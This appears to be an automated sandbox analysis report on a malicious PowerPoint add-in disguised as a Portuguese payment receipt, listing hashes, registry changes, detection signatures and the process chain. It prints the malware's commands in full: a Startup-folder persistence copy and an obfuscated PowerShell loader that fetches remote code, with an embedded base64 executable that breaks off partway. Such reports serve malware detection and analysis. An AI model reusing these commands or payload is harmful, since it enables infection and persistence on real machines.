8089f15903c4925dc06bf871d1375fddb447e96e227e07b89e86f997b96c7db1

General

Target

Comprovante de pagamento.ppam
Size

15KB
MD5

c151913c81c45053d186f4b91e85680f
SHA1

e01616f9f7855c09ed2b68a2d18496c566349060
SHA256

8089f15903c4925dc06bf871d1375fddb447e96e227e07b89e86f997b96c7db1
SHA512

349a5a1d39284584959e18315088274a4f93acf2a0432478d8bc9489892985fe8a780e723d285e87525beb7b54d9c485fb5e4d42ac63413fdda3882fae4ad77c

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

WScript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	1168	1668	WScript.exe	POWERPNT.EXE

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

9 1168 WScript.exe

flow	pid	process
9	1168	WScript.exe

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E2-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EB-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6F-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6E-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493467-5A91-11CF-8700-00AA0060263B}\ = "Fonts"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EE-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493455-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E0-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A70-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{96E1FC29-B3AC-45CE-ACC7-63A6296CE590}\2.0\0	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6E-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493494-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\ = "Research"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E557-4FF5-48F4-8215-5505F990966F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493484-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\ = "Designs"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A59-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\ = "TabStops"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493459-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493471-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A72-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493465-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B}\ = "ShadowFormat"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493485-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\ = "ThreeDFormat"	POWERPNT.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1948 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

1668 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1372 powershell.exe
1996 powershell.exe
1628 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1372 powershell.exe
Token: SeDebugPrivilege 1996 powershell.exe
Token: SeDebugPrivilege 1628 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

1668 POWERPNT.EXE

pid	process
1948	PING.EXE

pid	process
1668	POWERPNT.EXE

pid	process
1372	powershell.exe
1996	powershell.exe
1628	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe

pid	process
1668	POWERPNT.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

POWERPNT.EXEWScript.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 1668 wrote to memory of 948	1668	POWERPNT.EXE	splwow64.exe
PID 1668 wrote to memory of 948	1668	POWERPNT.EXE	splwow64.exe
PID 1668 wrote to memory of 948	1668	POWERPNT.EXE	splwow64.exe
PID 1668 wrote to memory of 948	1668	POWERPNT.EXE	splwow64.exe
PID 1668 wrote to memory of 1168	1668	POWERPNT.EXE	WScript.exe
PID 1668 wrote to memory of 1168	1668	POWERPNT.EXE	WScript.exe
PID 1668 wrote to memory of 1168	1668	POWERPNT.EXE	WScript.exe
PID 1668 wrote to memory of 1168	1668	POWERPNT.EXE	WScript.exe
PID 1168 wrote to memory of 1176	1168	WScript.exe	cmd.exe
PID 1168 wrote to memory of 1176	1168	WScript.exe	cmd.exe
PID 1168 wrote to memory of 1176	1168	WScript.exe	cmd.exe
PID 1168 wrote to memory of 1176	1168	WScript.exe	cmd.exe
PID 1176 wrote to memory of 1948	1176	cmd.exe	PING.EXE
PID 1176 wrote to memory of 1948	1176	cmd.exe	PING.EXE
PID 1176 wrote to memory of 1948	1176	cmd.exe	PING.EXE
PID 1176 wrote to memory of 1948	1176	cmd.exe	PING.EXE
PID 1176 wrote to memory of 1604	1176	cmd.exe	cmd.exe
PID 1176 wrote to memory of 1604	1176	cmd.exe	cmd.exe
PID 1176 wrote to memory of 1604	1176	cmd.exe	cmd.exe
PID 1176 wrote to memory of 1604	1176	cmd.exe	cmd.exe
PID 1604 wrote to memory of 1372	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 1372	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 1372	1604	cmd.exe	powershell.exe
PID 1604 wrote to memory of 1372	1604	cmd.exe	powershell.exe
PID 1168 wrote to memory of 1996	1168	WScript.exe	powershell.exe
PID 1168 wrote to memory of 1996	1168	WScript.exe	powershell.exe
PID 1168 wrote to memory of 1996	1168	WScript.exe	powershell.exe
PID 1168 wrote to memory of 1996	1168	WScript.exe	powershell.exe
PID 1996 wrote to memory of 1628	1996	powershell.exe	powershell.exe
PID 1996 wrote to memory of 1628	1996	powershell.exe	powershell.exe
PID 1996 wrote to memory of 1628	1996	powershell.exe	powershell.exe
PID 1996 wrote to memory of 1628	1996	powershell.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Comprovante de pagamento.ppam"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:948

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\x.vbs"
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1168

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs')"
3⤵
- Suspicious use of WriteProcessMemory
PID:1176

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
4⤵
- Runs ping.exe
PID:1948

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs')"
4⤵
- Suspicious use of WriteProcessMemory
PID:1604

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ CHF.vbs')
5⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J╬╬B4╬╬GM╬╬YQBP╬╬GU╬╬I╬╬╬╬9╬╬C╬╬╬╬Jw╬╬l╬╬Eg╬╬TQBH╬╬E0╬╬dgBt╬╬EY╬╬d╬╬B4╬╬HU╬╬JQ╬╬n╬╬Ds╬╬WwBC╬╬Hk╬╬d╬╬Bl╬╬Fs╬╬XQBd╬╬C╬╬╬╬J╬╬BE╬╬HY╬╬Z╬╬BZ╬╬GE╬╬I╬╬╬╬9╬╬C╬╬╬╬WwBT╬╬Hk╬╬cwB0╬╬GU╬╬bQ╬╬u╬╬EM╬╬bwBu╬╬HY╬╬ZQBy╬╬HQ╬╬XQ╬╬6╬╬Do╬╬RgBy╬╬G8╬╬bQBC╬╬GE╬╬cwBl╬╬DY╬╬N╬╬BT╬╬HQ╬╬cgBp╬╬G4╬╬Zw╬╬o╬╬C╬╬╬╬J╬╬B4╬╬GM╬╬YQBP╬╬GU╬╬LgBy╬╬GU╬╬c╬╬Bs╬╬GE╬╬YwBl╬╬Cg╬╬JwDQ╬╬N╬╬╬╬0╬╬╬╬n╬╬Cw╬╬JwBB╬╬Cc╬╬KQ╬╬g╬╬Ck╬╬OwBb╬╬FM╬╬eQBz╬╬HQ╬╬ZQBt╬╬C4╬╬QQBw╬╬H╬╬╬╬R╬╬Bv╬╬G0╬╬YQBp╬╬G4╬╬XQ╬╬6╬╬Do╬╬QwB1╬╬HI╬╬cgBl╬╬G4╬╬d╬╬BE╬╬G8╬╬bQBh╬╬Gk╬╬bg╬╬u╬╬Ew╬╬bwBh╬╬GQ╬╬K╬╬╬╬k╬╬EQ╬╬dgBk╬╬Fk╬╬YQ╬╬p╬╬C4╬╬RwBl╬╬HQ╬╬V╬╬B5╬╬H╬╬╬╬ZQ╬╬o╬╬Cc╬╬QwBs╬╬GE╬╬cwBz╬╬Ew╬╬aQBi╬╬HI╬╬YQBy╬╬Hk╬╬Mw╬╬u╬╬EM╬╬b╬╬Bh╬╬HM╬╬cw╬╬x╬╬Cc╬╬KQ╬╬u╬╬Ec╬╬ZQB0╬╬E0╬╬ZQB0╬╬Gg╬╬bwBk╬╬Cg╬╬JwBS╬╬HU╬╬bg╬╬n╬╬Ck╬╬LgBJ╬╬G4╬╬dgBv╬╬Gs╬╬ZQ╬╬o╬╬CQ╬╬bgB1╬╬Gw╬╬b╬╬╬╬s╬╬C╬╬╬╬WwBv╬╬GI╬╬agBl╬╬GM╬╬d╬╬Bb╬╬F0╬╬XQ╬╬g╬╬Cg╬╬JwBL╬╬EU╬╬NgBD╬╬Dk╬╬e╬╬BX╬╬Gg╬╬NQBD╬╬Fo╬╬e╬╬╬╬v╬╬GQ╬╬YQBv╬╬Gw╬╬bgB3╬╬G8╬╬Z╬╬╬╬v╬╬G0╬╬bwBj╬╬C4╬╬bwBp╬╬GU╬╬d╬╬Bz╬╬GE╬╬c╬╬╬╬v╬╬C8╬╬OgBz╬╬H╬╬╬╬d╬╬B0╬╬Gg╬╬Jw╬╬p╬╬Ck╬╬';$DXkmR = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('╬╬','A') ) ).replace('%HMGMvmFtxu%','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VgAABDra////JjjQ////3Qj+//8gAAAAAH4yAAAEOuf9//8mON39//8AAABBHAAAAAAAACYAAACkAQAAygEAAFIAAAATAAABLgD+CQAAKCIAAAoqHgAoIwAACio6/gkAAP4JAQBvJAAACioAOv4JAAD+CQEAbyUAAAoqAC4A/gkAACggAAAKKh4AKCYAAAoqLgD+CQAAKCcAAAoqOv4JAAD+CQEAbygAAAoqADr+CQAA/gkBAG8pAAAKKgA+AP4JAAD+CQEAKB8AAAoqSv4JAAD+CQEA/gkCAG8qAAAKKgAeACgrAAAKKiZ+DgAABBT+ASoAABp+DgAABCoANgIDKBEAAAYoEgAABioAAB4CKBUAAAYqLtAFAAACKBYAAAYqHgIoFwAABioTMAIAGgAAAAIAABECjAUAABs6CwAAACgBAAArCjgCAAAAAgoGKgAAIgP+FQUAABsqAAAAHgIoDAAACiouAP4JAAAoDQAACio6/gkAAP4JAQAoDgAACioAJn4GAAAEFP4BKgAAGn4GAAAEKgAq/gkAACgPAAAKKgAuAP4JAAAoEAAACioq/gkAACgRAAAKKgATMAMAKwAAAAMAABECexIAAApvEwAACgoGjAgAABs6EgAAACgCAAArCgJ7EgAACgZvFAAACgYqABMwAw